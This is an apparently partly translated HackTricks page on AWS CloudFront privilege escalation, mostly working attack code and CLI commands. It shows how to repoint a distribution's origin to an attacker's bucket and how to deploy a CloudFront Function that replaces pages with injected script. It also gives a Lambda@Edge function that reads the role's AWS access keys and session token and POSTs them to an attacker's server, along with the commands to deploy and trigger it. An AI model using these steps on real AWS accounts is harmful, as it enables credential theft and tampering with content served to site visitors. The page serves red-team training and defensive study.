AWS - CloudFront Privesc

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

CloudFront

cloudfront:UpdateDistribution & cloudfront:GetDistributionConfig

Зловмисник, який має дозволи cloudfront:UpdateDistribution та cloudfront:GetDistributionConfig, може змінити конфігурацію дистрибуції CloudFront. Йому не потрібні дозволи на сам цільовий S3 bucket, хоча атака легша, якщо цей bucket має широко відкриту політику, яка дозволяє доступ від cloudfront.amazonaws.com service principal.

Зловмисник змінює origin-конфігурацію дистрибуції, щоб вказати на інший S3 bucket або на сервер, контрольований зловмисником. Спочатку вони отримують поточну конфігурацію дистрибуції:

bash
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json

Потім вони редагують current-config.json, щоб вказати origin на новий ресурс — наприклад, інший S3 bucket:

bash
...
"Origins": {
"Quantity": 1,
"Items": [
{
"Id": "<origin-id>",
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
"OriginPath": "",
"CustomHeaders": {
"Quantity": 0
},
"S3OriginConfig": {
"OriginAccessIdentity": "",
"OriginReadTimeout": 30
},
"ConnectionAttempts": 3,
"ConnectionTimeout": 10,
"OriginShield": {
"Enabled": false
},
"OriginAccessControlId": "E30N32Y4IBZ971"
}
]
},
...

Нарешті, застосуйте змінену конфігурацію (під час оновлення потрібно вказати поточний ETag):

bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction

An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.

The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:

bash
function handler(event) {
var request = event.request;
var response = event.response;
// Create a new body with malicious JavaScript
var maliciousBody = `
<!DOCTYPE html>
<html>
<head>
<title>Compromised Page</title>
</head>
<body>
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// Malicious JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Replace the body entirely
response.body = { encoding: "text", data: maliciousBody };
// Update headers
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
};
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
return response;
}

Commands to create, publish and attach the function:

bash
# Створити шкідливу функцію в CloudFront
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js

# Отримати ETag функції на стадії DEVELOPMENT
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text

# Опублікувати функцію на стадії LIVE
aws cloudfront publish-function --name malicious-function --if-match <etag>

Add the function to the distribution configuration (FunctionAssociations):

bash
"FunctionAssociations": {
"Quantity": 1,
"Items": [
{
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
"EventType": "viewer-response"
}
]
}

Finally update the distribution configuration (remember to supply the current ETag):

bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG

lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole & cloudfront:UpdateDistribution

An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.

The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:

bash
// malicious-lambda-edge.js
exports.handler = async (event) => {
// Obtain role credentials
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Send credentials to attacker's server
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Error sending credentials:", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modify response headers
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Credentials stolen" })
};
};
bash
# Упакуйте функцію Lambda@Edge
zip malicious-lambda-edge.zip malicious-lambda-edge.js

# Створіть функцію Lambda@Edge із привілейованою роллю
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
--role <privileged-role-arn> \
--handler malicious-lambda-edge.handler \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>

# Опублікуйте версію функції
aws lambda publish-version --function-name malicious-lambda-edge --region <region>

Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:

bash
"LambdaFunctionAssociations": {
"Quantity": 1,
"Items": [
{
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
"EventType": "viewer-response",
"IncludeBody": false
}
]
}
bash
# Застосувати оновлену конфігурацію distribution (потрібно використовувати поточний ETag)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

# Запустити функцію, зробивши запит до distribution
curl -v https://<distribution-domain>.cloudfront.net/

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks